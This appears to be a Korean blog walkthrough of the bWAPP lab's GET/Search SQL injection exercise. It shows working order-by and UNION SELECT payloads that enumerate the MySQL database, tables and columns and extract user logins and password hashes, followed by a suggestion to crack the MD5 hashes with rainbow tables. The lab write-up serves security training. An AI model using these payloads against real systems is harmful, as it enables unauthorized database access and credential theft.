SQL Injection이란?
웹 및 응용프로그램에서 데이터를 조회나 처리할 경우 데이터베이스에 명령을 하는데 이때 처리할 데이터에 악의적인 SQL문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법이다.
메인 페이지는 찾을 영화를 검색하라는 인풋 박스가 나오고 Search버튼을 클릭 시 DB에 저장되어 있는 영화 제목이 출력되는 것을 확인할 수 있다. like문을 사용하여 요청한 문자열을 포함한 문자열을 찾는 방식으로 추측할 수 있다.
소스코드 확인 시 GET형식으로 title을 받아서 sql에 SELECT문을 사용하여 like % title%를 묻고 그 결과를 출력하는 것을 확인할 수 있다.
"'"를 입력하여 오류 메시지가 출력되었고 오류 메시지에는 MySQL을 사용한다는 정보 노출까지 보인다.
삽입 코드 :
'order by 1#
'order by 2#
'order by 3#
'order by 4#
'order by 5#
'order by 6#
'order by 7#
'order by 8# //에러메세지 출력
'order by 8#을 요청 시 에러 페이지가 출력된다. 여기서 칼럼수는 7개라는 사실을 확인하였다.
mysql에서는 주석을 "#"을 사용하기 때문에 #뒤에 있는 것들은 모두 주석 처리하여 SELECT * FROM movies WHERE title LIKE '%'order by 1만 읽어 들인다.
삽입 코드 :
'union select 1,2,3,4,5,6,7#
'union select 1,@@version,database(),4,5,6,7# //버전정보 , DB이름 정보획득
'union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'#
//획득한 DB의 테이블 정보획득
'union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
//획득한 테이블의 칼럼 정보획득
'union select 1,login,password,4,5,6,7 from users#
//users테이블의 id,password 정보획득
union select를 활용하여 칼럼 위치를 확인 후 DB이름 > 테이블명 > 칼럼명 > 계정 정보를 확인할 수 있다.
비밀번호는 md5로 암호화되어 있는데 암호화돼있는 문자를 레인보우 테이블에 넣어주면 평문으로 바뀌어 보인다.
'취약점 > Bee-Box' 카테고리의 다른 글
A1-Injection SQL Injection (POST/Search) 비박스(bWAPP) (0) | 2019.12.11 |
---|---|
A1-Injection SQL Injection (GET/Select) 비박스(bWAPP) (0) | 2019.12.09 |
A1-Injection Server-Side Includes (SSI) Injection 비박스(bWAPP) (0) | 2019.12.07 |
A1-Injection PHP Code Injection 비박스(bWAPP) (0) | 2019.12.04 |
A1-Injection OS Command Injection - Blind 비박스(bWAPP) (0) | 2019.12.03 |